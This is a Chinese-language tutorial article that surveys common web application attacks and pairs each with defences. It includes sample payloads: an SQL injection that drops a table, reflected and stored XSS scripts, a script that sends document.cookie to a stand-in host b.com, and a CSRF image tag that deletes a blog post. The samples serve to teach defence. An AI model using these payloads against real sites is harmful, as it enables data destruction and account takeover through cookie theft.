浅谈攻击Web应用常见的技术手段
浅谈攻击Web应用常见的技术手段
随着服务端脚本技术、组件技术等技术手段的成熟,基于web平台构建的应用信息系统成为了internet信息系统的主流,而且逐渐成为电信、金融、财税等关键领域公共信息系统的首选。其http协议网络数据流量占到整个internet tcp数据流量的70%左右,重要性无容置疑。目前,internet上部署运行着各种各样的web信息系统,这些系统的安全在很大程度上关系到整个internet的正常运转。近年来,由于web应用攻击方法的不断曝光和web应用重要性不断提高,对web信息系统的攻击事件数量大增。绝大多数web攻击事件的根源在于web信息系统中存在有安全漏洞。
一、主动攻击
主动攻击是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击的,因此攻击者需要能够访问到这些资源。主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。
a、SQL注入
定义:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意SQL命令的目的。
1
2
3
4
5
|
EG:
select * from student
where username=‘admin’;
drop table student-- and password=‘1’ or ‘1’=‘1’
|
上述命令,where 语句永远成立,且在执行后会删除student表,这样执行后果很严重。
如何防止SQL注入:
- 不信任用户的输入;
- 不使用动态拼接sql,可使用参数化的sql或直接使用存储过程进行数据查询存取;
- 不使用管理员权限的数据库连接;
- 对机密信息进行加密或hash掉密码和敏感信息;
- 应用异常尽可能少在web提示,最好使用自定义信息对应用的异常信息进行包装;
- 采用工具或网络平台检测是否存在SQL注入。
b、OS命令注入
定义:与SQL类似,但注入对象针对操作系统,即能够在服务器上执行任意命令。从Web应用中通过Shell来调用操作系统命令,如果在Shell调用时存在漏洞,就可以执行攻击者的非法OS命令,也就是说,可以通过OS注入攻击执行OS上安装的各种程序。如,发送咨询邮件来注入攻击。
如何防止OS注入:
- 不调用外部程序;
- 过滤掉、;,[,],|,<,>,\之类的符号;
- 设置用户的权限。
二、 被动攻击
被动攻击是指利用圈套策略执行攻击代码的攻击模式,在被动攻击的过程中,攻击者不直接对目标Web应用程序发起攻击,一般的攻击手法是设置陷阱让用户去触发,中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。攻击者借助这个攻击代码为基础,可以窃取用户个人信息、篡改滥用用户信息等。该攻击模式连企业内网都同样会受到攻击。
被动攻击中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造、HTTP首部注入攻击。
a、XSS跨站脚本攻击
定义:XSS,Cross-Site Scripting,攻击者利用在网页中嵌入客户端脚本,当用户浏览此网页时,脚本就会在用户的浏览器中执行,从而达到攻击者的目的。例如,在URL中加入特定的script代码来获取登录者的个人登陆信息、对用户Cookies的窃取攻击(通过Js获取)。
EG:
(1) 反射型XSS
1
2
|
http://a.com/a.jsp?name=xss <script>alert(1)</script>
|
通过诱惑用户打开恶意链接,服务器将链接中a.jsp页面渲染成下面的html:
1
2
|
Hello xss <script>alert(1)</script>
|
这时浏览器将会弹出提示框
(2) 持久型XSS
1
2
|
http://a.com/a.jsp?name=xss <script src=http://b.com/b.js></script>
|
将恶意代码提交给服务器,并且存储在服务器端,用户打开链接后,会加载b.js,并执行b.js的代码,代码如下:
1
2
3
4
|
var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);
|
执行完上述代码后会向b.com请求一张图片。但实际上是将当前页面的cookies发到b.com的服务器上,这样就完成了窃取cookies的过程。
如何防止XSS跨站脚本攻击:(原则是不相信用户输入的数据)
- 将重要的cookies标记为http only,这样JavaScript中的document.cookie语句就不能获取到cookie了;
- 只允许用户输入我们期望的数据,如年龄的textbox中只允许输入数字,其余过滤;
- 对数据进行Html Encode处理,如<转化为<;、&转化为&;
- 过滤或移除特殊的Html标签,如:script、iframe;
- 过滤JavaScript事件的标签,如“onclick=”、“onfocus”等等。
b、CSRF跨站请求伪造
定义:CSRF,Cross-Site Request Forgery,是指攻击者通过伪装来自受信任用户的请求来利用受信任的站点,强制对已完成认证的用户进行非预期的个人信息或设定信息等某种状态更新,属于被动攻击。例如,利用已通过认证的用户权限更新设定信息、利用已通过认证的用户权限购买商品、利用已通过认证的用户权限在留言板上发表言论等。
EG:
如果abc.com网站设定用户登录后才可以删除博客,删除博客的请求地址如下:
1
2
|
GET http://abc.com/blog/delete?id=1
|
当用户登录abc.com后,又打开了http://b.com/b.html,其中有下面的内容:
1
2
|
<img src="http://abc.com/blog/delete?id=1"/>
|
这时会以用户在abc.com的身份发送http://abc.com/blog/delete?id=1,删除对应博客。
如何防止CSRF跨站请求攻击:
- 在web站点,将持久化的授权(例如cookie或者http授权)切换为瞬时的授权方法(在每个form中提供隐藏field);
- 验证码,强化用户与应用的交互,但不是任何请求都加验证码;
- “双提交”cookie;
- 使用Post代替Get;
- 检查请求header中的referer也能帮助组织CSRF攻击,但服务器不是总能拿到referer,有些浏览器出于安全会隐私考虑会不发referer,所以也不常用; 在浏览其它站点前退出登录站点或者浏览结束后清理浏览器cookies;
- 生成一个随机的token,在用户提交数据的同时提交这个token,服务器端对比后如果不正确,则拒绝执行操作。
c、HTTP首部注入攻击
定义:该攻击模式是指攻击者通过响应首部字段被插入换行、添加任意响应首部或主体的一种攻击,属于被动攻击模式。其向首部主体添加内容,也称为HTTP响应截断攻击。
攻击模式:
Web应用有时会将从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。HTTP首部注入通过在某些响应首部字段需要处理输出值的时候,插入换行发动攻击。例如,设置任何Cookie信息()、重定向至任意URL、显示任意的主体(HTTP响应截断攻击)等。
如何防止HTTP首部注入攻击: – 过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF。
三、 其他攻击
a、目录遍历漏洞
定义:在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
如何防止目录遍历漏洞:
- 权限控制;
- 对包含了恶意的符号或者空字节进行拒绝;
- 使用绝对路径+参数控制访问目录,减小漏洞可能涉及的范围。
b、参数篡改
定义:在URL中的某些参数或由用户输入的网页形式领域,数据都在没有得到用户授权的情况下改变了。导致浏览器指向一个不是用户想去的链接、网页或网站。
- 如何防止参数篡改:
- 对所有参数值进行校验;
- 根据session ID进行迁移,参数使用服务器端的值。
c、会话劫持
定义:在一次正常会话过程中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当进行监听,甚至可以是代替某一方主机接管会话。
如何防止会话劫持:
- 限制入网的连接;
- 设置网络拒绝接收假冒本地地址从互联网上发来的数据包;
- 加密,例如SSH。